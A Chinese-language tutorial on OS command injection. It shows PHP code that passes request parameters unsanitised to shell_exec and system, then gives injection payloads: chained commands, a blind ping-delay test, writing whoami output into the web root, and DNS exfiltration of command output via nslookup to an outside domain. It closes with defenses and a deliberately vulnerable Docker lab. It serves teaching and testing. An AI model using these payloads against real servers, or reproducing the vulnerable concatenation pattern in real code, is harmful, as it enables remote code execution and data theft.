今天要介紹的 Command injection ,也就是可以透過這個漏洞去執行伺服器的命令 ( Command ) ,通常有這個漏洞就可以做到遠端程式碼執行( RCE,Remote Code Execution)。

Command injection

通常會有這個漏洞,主要是出現後端邏輯透過指令「串接」的方式。而且沒有去驗證使用者的輸入,但我們前幾天介紹的 injection 其實都沒有去驗證使用者輸入的內容。

Command

  • 先簡單介紹一下 Linux 跟 Wondows 的 Command
  • 我們提到「命令連接」
    • 也就是說在作業系統中執行命令的時候是可以連續執行多個命令的
    • 常用的 Payload
      • https://github.com/payloadbox/command-injection-payload-list
  • 在 PHP 中可能會有危險的函式
  • 撰寫 Python 的時候也會有機會有 Command injection

LAB

最簡單沒有過濾的 command injection

  1. 後端網站透過網頁去執行 ping 的功能,這在許多 IoT 的設備常常用到,因此許多 IoT 有 Command injection 的問題。
<?php

if( isset( $_REQUEST[ &#039;ip&#039; ]  ) ) {
$target = $_REQUEST[ &#039;ip&#039; ];
$cmd = shell_exec( &#039;ping  &#039; . $target );
echo "<pre>{$cmd}</pre>";
}

?>
  • 可以看到這個例子沒有過濾任何傳進去的參數 ip,這時候可以直接加上剛剛提到命令連接詞
    • feifei.com.tw/?ip=8.8.8.8&amp;id
    • LAB
    • 如果有 command 可以使用哪些指令去蒐集資訊

沒有顯示在網頁上的 command injection 可以用 ping

  1. 許多 Command injection 是不會將結果顯示在網站當中,其中一個例子是這個功能可能是要寄信給指定使用者
<?php

if( isset( $_REQUEST[ &#039;mail&#039; ]  ) ) {
$target = $_REQUEST[ &#039;mail&#039; ];
$cmd = shell_exec( &#039;mail -s "Hi" -aFrom:feifei@feifei.com.tw&#039; . $target );
}

?>
  • 我們可以透過 ping 網站,看回應的時間去判斷是否有漏洞存在
    • feifei.com.tw/?mail=&amp; ping -c 10 127.0.0.1 &amp;
    • 如果有 delay 10秒的話就是有弱點存在
    • LAB

可以透過寫檔去判斷有沒有弱點

  1. 剛剛是透過 delay 去判斷有沒有弱點存在,我們也可以透過寫檔案的方式去判別有沒有弱點
<?php

if( isset( $_REQUEST[ &#039;mail&#039; ]  ) ) {
$target = $_REQUEST[ &#039;mail&#039; ];
$cmd = shell_exec( &#039;mail -s "Hi" -aFrom:feifei@feifei.com.tw&#039; . $target );
}

?>
  • 假設網頁路徑為 /var/www/html
    • feifei.com.tw/?mail=&amp; whoami &gt; /var/www/html/whoami.txt &amp;
    • feifei.com.tw/whoami.txt
    • LAB

透過 OAST 搭配 command injection

  1. & nslookup xxx.feifei.com.tw &
    • 我們監視自己的 DNS 如果有看到查看紀錄表示有弱點
    • LAB
  2. & nslookup `whoami`.feifei.com.tw &
    • 透過 OAST 技術在 DNS 紀錄中傳送指令
    • LAB

如何防止 command injection

  1. 直接使用安全的 API 方法去執行要用的命令
  2. 透過白名單去驗證
  3. 如果是要執行數字可以去驗證只包含數字
  4. 驗證輸入不包含其他語法或空格

自製 LAB

  • server 資料夾 exe.php
    <?php
    
    if( isset( $_REQUEST[ 'ip' ]  ) ) {
        $target = $_REQUEST[ 'ip' ];
        $cmd = system( 'ping  ' . $target );
        echo "<pre>{$cmd}</pre>";
    }
    
    ?>
    
  • docker-compose.yml
    version: "2"
    services:
        web:
            image: php:7-apache
            ports: 
                - "8004:80"
            volumes:
                - ./server:/var/www/html/
    
    
Leave A Comment